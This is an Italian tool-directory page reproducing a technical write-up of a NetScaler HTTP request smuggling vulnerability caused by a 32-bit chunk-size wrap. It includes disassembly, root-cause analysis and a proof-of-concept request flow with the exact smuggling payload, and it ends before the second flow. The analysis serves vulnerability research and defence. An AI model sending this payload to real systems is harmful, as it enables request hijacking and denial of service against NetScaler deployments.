Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-88773 — Analisi tecnica di una vulnerabilità di request smuggling HTTP/1.1 basata su integer-wrap della dimensione dei chunk in NetScaler nsppe, con disassembly, flussi PoC a livello di rete e diff della patch del firmware. | Kitploit
Strumenti/GitHubGitHub/scyrix-llc/cve-2026-88773
Analisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebSicurezza WebAnalisi di BinariPaper e RicercaAnalisi del Firmware
GitHubscyrix-llc/cve-2026-88773

CVE-2026-88773

Analisi tecnica di una vulnerabilità di request smuggling HTTP/1.1 basata su integer-wrap della dimensione dei chunk in NetScaler nsppe, con disassembly, flussi PoC a livello di rete e diff della patch del firmware.

111 mese faNon ancora revisionato
Vedi RepositorySito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-88773: NetScaler nsppe (HTTP Smuggle)

Accumulo a 32 bit della dimensione del chunk con wrap nel parser HTTP/1.1

TL;DR

Il parser del corpo chunked HTTP/1.1 di nsppe legge il campo chunk-size in un registro a 32 bit e non verifica mai l'overflow. Con nove o più cifre esadecimali il valore va silenziosamente in wrap: 100000005 (2^32 + 5) viene consumato come dimensione di chunk pari a 5.

È un simpatico bug del parser, finché non si ricorda cosa fa NetScaler con il corpo: inoltra al backend il framing chunked del client esattamente come ricevuto, ma decide dove termina la richiesta usando il proprio valore andato in wrap. Così il proxy ritiene che la richiesta #1 sia completa dopo cinque byte di corpo, mentre un backend corretto che legge gli stessi byte calcola 4.294.967.301 e si prepara a un corpo da 4 GB che non arriverà mai. Due macchine, un unico flusso di byte, due opinioni diverse su dove finisce una richiesta.

Tutto ciò che segue la versione di NetScaler di "la fine" viene riclassificato come una nuova richiesta in pipeline sulla stessa connessione client, poi inoltrato in modo indipendente sulla connessione condivisa proxy-to-backend.

Ciò che si ottiene dipende dal parser del backend stesso:

  • Il backend tronca anch'esso a 32 bit: i byte contrabbandati vengono eseguiti come richiesta indipendente. Classico prefix-hijack.
  • Il backend analizza correttamente: desync netto, connessione bloccata su un corpo da 4 GB che non arriverà mai. DoS da esaurimento del pool di connessioni.

Una singola richiesta non autenticata. Configurazione predefinita. Nessuna precondizione oltre al raggiungimento di un vserver HTTP.


Causa principale

Il parser esadecimale della dimensione del chunk

Il compito del parser è semplice: trasformare una riga di dimensione del chunk come 1a3f\r\n in un numero. Prende il buffer in rdi con la sua lunghezza in esi, accumula il valore esadecimale nello slot a 32 bit in *rdx (in input e output, così una dimensione divisa tra due pacchetti riprende correttamente), salta gli spazi bianchi e richiede il \r\n finale. Risponde con i byte consumati, 0 per "servono più dati" oppure -1 per input malformato.

L'intero ciclo, abbastanza piccolo da vedere il bug a occhio nudo:

20af5e0: movzx  eax, BYTE PTR [rbx]
20af5e3: test   BYTE PTR [rax+rax*1+0x2746c80], 0x10   ; ctype: hex digit?
20af5eb: je     20af60b
20af5ed: mov    ecx, r11d
20af5f0: shl    ecx, 0x4                               ; value <<= 4
20af5f3: movzx  r11d, BYTE PTR [rax+0x2746b80]         ; hexval(digit)
20af5fb: add    r11d, ecx                              ; value = value*16 + d
20af5fe: inc    rbx
20af601: dec    r8d
20af604: jne    20af5e0                                ; next digit

r11d è l'accumulatore, ed è largo 32 bit. Ogni cifra esegue value <<= 4; value += digit. Nessun contatore di cifre, nessun limite di grandezza, nessun controllo di overflow, nessun jo da nessuna parte nel ciclo. La nona cifra non genera un errore; sposta la parte alta del numero oltre la fine del registro e nessuno se ne accorge. 0x100000005 & 0xffffffff = 5, e il parser ne è perfettamente soddisfatto.

L'unico controllo di sanità rifiuta la metà sbagliata

C'è esattamente un controllo di sanità a valle, ed è sbagliato in modo quasi poetico. Il driver di dechunking (sub_20af6b0, punti di chiamata 0x20af719 / 0x20af9fb, dimensione memorizzata in [r12+0x344]) applica un test di segno al valore accumulato. Soffermati un attimo su questo: gli unici wrap che vengono intercettati sono quelli che finiscono nella metà negativa, [0x80000000, 0xffffffff]. Una dimensione soggetta a wrap i cui 32 bit bassi risultano inferiori a 0x80000000 passa inosservata come una dimensione di chunk del tutto normale. 0x100000005 che va in wrap a 5 è il caso canonico: soggetta a wrap, non notata, e devastante.


Perché riesce a introdurre di nascosto

Il pacchetto si trasforma in un smuggle a causa di una singola decisione di progettazione nel modo in cui NetScaler tratta i corpi: inoltra il framing chunked del client al backend byte per byte, intatto, mentre usa la propria (soggetta a wrap) interpretazione di quel framing per decidere dove termina la richiesta del client.

Quindi NetScaler termina la richiesta #1 dopo cinque byte di corpo e accoda i 37 rimanenti come una seconda richiesta, in pipeline. Il backend, eseguendo l'aritmetica correttamente, legge 100000005 come 4.294.967.301 e continua ad attendere il corpo della richiesta #1. Da quel momento in poi, entrambi i sistemi leggono lo stesso flusso e vivono in mondi diversi.

In quale mondo ti ritrovi dipende dal backend.

Flusso A: backend a 64 bit corretto. Il blocco da desync.

Attacker                           NetScaler (<=73.30)                            Backend (RFC 64-bit)
   |                                        |                                               |
   |  [1] one TCP segment, 122 bytes:       |                                               |
   |    POST /wrap HTTP/1.1                 |                                               |
   |    Host: poc                           |                                               |
   |    Transfer-Encoding: chunked          |                                               |
   |    100000005\r\nAAAAA\r\n0\r\n\r\n     |                                               |
   |    GET /SMUGGLED HTTP/1.1              |                                               |
   |    Host: poc\r\n\r\n                   |                                               |
   |--[1]---------------------------------->|                                               |
   |                                        | [2] parses "100000005" into a u32             |
   |                                        |     wraps to 5; consumes AAAAA;               |
   |                                        |     sees terminating 0-chunk                  |
   |                                        |     ==> request #1 COMPLETE                   |
   |                                        |     trailing 37 bytes held as a               |
   |                                        |     pending pipelined request #2              |
   |                                        |                                               |
   |                                        |--[3] 85 bytes, framing VERBATIM-------------->|
   |                                        |   POST /wrap HTTP/1.1                         |
   |                                        |   Transfer-Encoding: chunked                  |
   |                                        |   100000005\r\nAAAAA\r\n0\r\n\r\n             |
   |                                        |                                               |
   |                                        |                                               | [4] parses 0x100000005 (64-bit)
   |                                        |                                               |     = 4,294,967,301 bytes
   |                                        |                                               |     waiting for a body that never co
   |                                        |                                               |     [WEDGED: no response, ever]
   |                                        |                                               |
   |                                        | GET /SMUGGLED waits in NetScaler's            |
   |                                        | pipeline queue forever: response #1           |
   |                                        | never arrives                                 |
   |                                        |                                               |

Flusso B: backend che tronca a 32 bit come NetScaler. Il contrabbando completato.

Scarica lo strumento